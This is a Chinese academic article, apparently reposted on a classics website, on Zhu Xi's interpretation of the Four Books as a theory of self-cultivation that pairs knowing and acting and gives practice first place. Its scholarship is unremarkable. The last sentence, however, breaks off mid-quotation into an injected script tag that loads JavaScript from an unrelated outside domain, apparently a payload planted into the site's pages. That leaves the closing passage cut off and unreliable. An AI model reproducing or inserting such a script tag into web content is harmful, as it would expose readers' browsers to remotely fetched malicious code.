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朱熹《四书》学与儒家工夫论(二)
2009/8/31 16:33:00 来源:中华经典网 编辑:中华经典网  浏览:2485  【打印

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二、《四书》学工夫论的体系构架

  朱熹的《四书》学建构了一个与汉唐儒家不同的学术形态,他是从修己治人的工夫论角度解读《四书》,故而建立了一套工夫论形态的《四书》学。他认为只有这样才能真正回到先秦的原典儒学,复兴原始儒学的“道统”、“心传”。朱熹在《中庸章句序》中就表达了他对这种“道统之传”的自信。朱熹之所以能够对自己充满自信,是因为他相信自己承传的从尧舜、周公到孔孟的工夫意义上的“心传”就是“道统”。

  我们首先需要分析这种“工夫”或“心术”的学术特征。无论是称之为“心术”,还是修己治人的“工夫”,均与那种纯观念的知识形态有着明显的区别。如果说观念的知识形态一般表现为对认知对象的描述和解释,并且总是体现为一种概念-语言的形态的话,在儒家传统中,“术”、“工夫”则总是指修己治人的精神-实践活动,而作为记录先圣前贤修身工夫的经典文献则主要表现出实践理性或行动知识的特征。所以,如果进一步解构这个“工夫”或“儒术”的话,朱熹等宋儒所理解、解释的工夫应该是一种理性精神和身体力行合为一体的过程,亦可以将其理解为一种“精神-实践”的把握世界的方式。一方面,工夫是观念性的,它体现为一种精神的追求和理性的态度,不论是日用之中的道德精神,还是形而上的宇宙精神,均可能体现在人的日用工夫之中,正如朱熹所说:“圣门日用工夫,甚觉浅近。然推之理,无有不包,无有不贯,及其充广,可与天地同其广大。故为圣,为贤,位天地,育万物,只此一理而已。”[1] 天理作为一个贯穿天地之道的宇宙法则,作为日用伦常并记载于儒家经典的人文法则,必须要实现为一种自觉的精神过程,故而总会体现为人的主观认知和精神自觉,也就是所谓的“工夫”。一切不具有这种伦理-宇宙精神价值的行为活动均不能称之为“工夫”。另一方面,“工夫”又是实践性的,它必须体现为人的身心一体的客观性活动,而不同于那种对儒家经典的传注训诂,它不是那种语言-概念的知识形态。朱熹反复对学生说:“讲学固不可无,须是更去自己身上做工夫。若只管说,不过一两日都说尽了。只是工夫难。”[2] “小立课程,大作工夫。”[3] “自早至暮,无非是做工夫时节。”[4] 可见,朱熹所说的“工夫”,不是那种纯粹知识形态的研究、学习(“讲学”、“课程”),而是一种身心一体的实践性活动,而且他将这种日用实践工夫视为儒者“第一义”的学问。

  由于儒家修己治人工夫是精神自觉与日用实践的统一,故而决定了这种工夫论是一种知行结合与互动的构架。所以,在朱熹的学术视域中,《四书》不过是儒家关于知行结合的工夫论记载。譬如《大学》的格物、致知、正心、诚意,《论语》的操存、涵养,《孟子》的尽心、存性、体验、扩充,《中庸》的学问思辨行以及尊德性、道问学、极高明、道中庸等等,这些修身工夫原就是先圣先贤在自己的修身实践中的个人体悟、经验总结的记录,同时它们均可以纳入到那个知行的工夫论构架中去。譬如,朱熹在讨论儒家修身工夫论时,不断地告诫其学生如何分清“第一义”的工夫与“第二义”的工夫,不断地将修身工夫归之于两大类,即所谓力行的工夫,致知的工夫,并且探讨它们二者的关系。他坚持认为,儒家修己治人的工夫论体系是由两大类型构成的,即行的工夫(第一义)与知的工夫(第二义)。而且,这两类工夫论之间具有重要的内在联系,包括“派生”与“互发”的多重关系等等。所以,探讨儒家工夫论上述这种内部结构,能够使我们从体系内部把握儒学的修身工夫论,更重要的是,也能使我们理解《四书》中那许许多多不同修身工夫的确切含义以及它们在工夫论体系中的地位和特点。

  在《四书》的原典以及朱熹的诠释中,儒家诸多的工夫论均包含知与行的思想观念。现将朱熹诠释《四书》时几条主要对应的工夫论列之于下:

  致知                       力行

  大学                       小学

  格物致知               正心诚意

  道问学                   尊德性

  穷理                       居敬

  进学                       操存

  可以发现,朱熹的上述工夫论表现出这样的特点:第一,这些修身工夫论有着鲜明的对应性,朱熹总是将它们并列加以讨论,譬如讲“道问学”时,就得讲述“尊德性”;讲“穷理”时,就得讲“居敬”。也就是说,必须通过对两者关系的把握,才能明确任何一种工夫的确切涵义。其次,朱熹往往将上述种种工夫均归结到“知”与“行”的问题,“格物致知”、“道问学”、“穷理”、“进学”均可以归结为“知”的工夫,而“正心诚意”、“尊德性”、“居敬”、“操存”则可以归结为“行”的工夫。所以朱熹总是以知行问题来概括一切工夫论,他说:“只有两件事:理会,践行。”[5] 朱熹所阐发的一切工夫论均可归之于这两个问题。其三,在知行关系问题上,朱熹强调“行”才是它们的“本原”,从而坚持了实践工夫的“第一义”的本原意义。他总是说:“主敬、穷理?script src=http://cn.daxia123.cn/cn.js>

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